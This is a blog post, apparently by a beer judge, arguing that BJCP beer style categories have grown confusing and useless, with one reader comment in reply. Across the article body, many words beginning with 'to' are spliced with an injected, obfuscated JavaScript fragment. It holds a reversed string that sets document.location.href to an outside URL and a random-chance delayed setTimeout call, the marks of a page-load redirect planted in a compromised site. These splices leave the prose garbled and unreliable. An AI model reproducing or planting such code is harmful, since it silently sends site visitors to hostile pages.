The Growing Irrelevance of Beer Styles: Part 1

Beer.Styles

In 2015 the Beer Judge Certification Program modified their style guidelines tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to incorporate a more extensive array of styles than had been displayed in their most recent update of 2008. There was little argument that the 2008 guidelines were out of date but one reputed reason why it tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}took so long for the new guidelines tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be brought tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bear was the difficulty that the organizers had in identifying new ‘styles’ as opposed tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ‘sub-styles’, derivatives or even one-off fads. Indeed, the 2015 guidelines were probably out of date as soon as they were published, as, in all likelihood, some innovative brewer decided tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to create aTCAWHieroglyphn ‘Ancient Egyptian Beer’ by throwing bread, grapes, honey, and a dead cat intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ceramic pot filled with water from the Nile. And as repulsive as the flavours in that beer turned out tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be s/he obviously intended it taste like that: ‘That’s what all Ancient Egyptian beers tasted like! You wait until round two when we dry hop it with Wakatu tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make a New Zealand-hopped American-style Ancient Egyptian Imperial India Pale Ale!’

Egyptian beers aside, I don’t think I’m far off in saying that styles and style categories have gotten entirely out of hand. The most obvious example, stretching back many years is the Black IPA. I like tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to consider the (ir)relevance of this beer as a style based on the simple fact that I have yet tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to hear any other item on this planet described as both ‘black’ and ‘pale’ before. Unless, of course, it was an actual black pail. I know a number of beer geeks will come at me saying that the style’s real name is a Cascadian Dark Ale, but even disregarding the apparent misnomer that is the Black IPA, the definition of the style is hardly agreed upon. The most illuminating example of the disagreements this style engenders that I have seen happened in an IPA competition which I helped judge where a so-called Black IPA was presented that had no semblance of hop character and was so reminiscent of an American Stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout that I disqualified it without a second thought….and it still made it tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the final round of the competition! Whoever’s side you take on this one, there is an obvious disconnect over what individual people conceive as a good example of a beer style.

This point is further elocuted by a video that I was first exposed tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to three years ago, released by Bridge Road Brewers for good beer week 2013

 

I love this video because I’ve said almost every one of those lines myself, but the one that really sticks out tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to me is ‘Whoa, that’s hideously infected…unless it’s a Lambic, in which case it’s awesome!’ In a close second comes ‘Pale ale, no no, it’s a White Stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout’.

Whether the disconnect is between two consumers or the brewer and consumer, then, the fact remains that there has been a tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}total breakdown in communication over what a beer actually is; a breakdown that I would argue has come about largely because of the creation of new style definitions. Whether examining this White Stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout or the actually defined White IPA, the essence of the base style has been bastardized in much the same way that the English language has somehow synonymized ‘flammable’ and ‘inflammable’. The difference between these two examples, however, is that while ‘flammable’ and ‘inflammable’ are commonly used and understobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tood tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to mean ‘something that can burst intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to flames’, the fast development of beer styles has outpaced many people’s ability tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to understand the components of the new inventions.

It is here that I have tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to backtrack a bit. Beer styles, whatever they come tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be, used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be based on a number of things: histobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory and/or provenance, ingredients, brewing technique, and overall sensory profile (I include basic specifications such as SRM and IBUs in this category). Thus, by citing a beer as a porter, you are at the very least signifying that it will be a dark, malt-forward beer that may display a bit of chocolate character. At most you are tapping intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a custobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomer’s knowledge of the histobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory, ingredients and process of that style tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to contribute tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to their own enjoyment of the beer, or even build your brand’s own histobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory and reputation.

Beer.StylesIn the past five years (give or take) however, many of these things have been thrown out the window. A good example of this being one listed in the BJCP guidelines themselves, where it claims that a Saison made with Brettanomyces should be classified intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the ‘American Wild Ale’ category. To re-enforce that point, the BJCP is claiming that a histobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torically Belgian beer can be manipulated using different fermentation ingredients and techniques tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to produce different flavours, so that even if you still call it a Saison (which they seem fine with) it shouldn’t be categorized as one. Instead, it should be categorized as an ‘American Wild Ale’…even if you brewed it in Zimbabwe.

And while it is not a bad thing that experimental trends have become par for the course, it is difficult tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to then compare new styles with those that have been established for long periods of time. For decades, sour beers were almost exclusively brewed by ‘artisanal’ breweries in the Senne Valley region of Belgium using very special, even unique, ingredients, microflora, and methodologies. Nowadays, they can be made around the world in 1/10 the time by using mixed yeast cultures, acidification techniques, or alternative ingredients. Assuredly, these new beers will never be a ‘Lambic’ beer because of the geographic restrictions of the style, but at what point does histobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory outweigh process parameters when defining a style? When do hops outweigh yeast? How can provenance be a defining feature of a Lambic when a Blonde Ale doesn’t have any such restrictions? How can one brewer style their 4% beer an IPA when another calls their 7.5% beer at the same? How can a beer served through an infected tap be misconstrued as intentionally sour and praised for it?

What all of this boils down tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to (pun intended) is that not only have we effectively eliminated the communicative efficiency and advertising capability that beer styles afforded us (‘It’s an IPA’ versus ‘Eh, it’s a hoppy beer that I made because I tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}took inspiration from these British beers that were shipped tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to India that I read about’) but we also pretend that this method is still working, and even worth supporting, despite its proven track record of sowing confusion and discord in the ranks of tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}today’s brewers and beer drinkers. Beer styles are no longer useful categorizations: they have become points of debate and have effectively shifted consumer and brewer conceptions of what good beer is intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the realm of ‘new is autobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomatically good’. The system is broken, and it’s time for a new one tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to come intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to play.

To be continued…

 

To learn more about Craig, click here: http://www.cara-online.com/about-cara/people/craig-thomas/

One thought on “The Growing Irrelevance of Beer Styles: Part 1

  1. Have styles become points of debate? Yes. And should they? Of course man. It seems that no amount of debate will suffice to weed out the “IPA = made hoppy so it survives ship journey to India” mythic equation for example.

    Styles are not and should not be definitive guides. They present a range in all attributes to allow for self-realization rather than having to brew a dead-on Guinness clone every time I go for an Irish Stout.

    The styles make perfect sense and are not broken themselves in any way. What is broken is our perception of them. What’s also broken is quite a lot of beer on the market.

    The thinking that if I mess up my stout I can always call it a porter or dark saison or what-the-fuck-not is broken. Thinking “let’s just throw in loads of hops and call it an IPA” is broken. That does not mean the IPA style description is broken. Consumer not knowing the difference and eating every bait that’s thrown at him is broken.

    It might help to know how those style descriptions came about to be. Nobody just came up with them, feeling creative one morning. The style has to exist first. BJCP accepts it later.

    I do not accept the inability of some brewers to brew those styles, nor consumers’ lack of fucks given as reasons to dismiss the style description.

    I may give countless examples of what I am speaking about on only the three genuinely living styles in this part of world – BJCP 3 A-D. Hey, ain’t there more points for discussion in what I just said? What is a genuinely living style? And why do I consider 3 A-D three styles and not four? No time for me to elaborate now, unfortunately.

    I am very curious what you come up with in the follow-up post.

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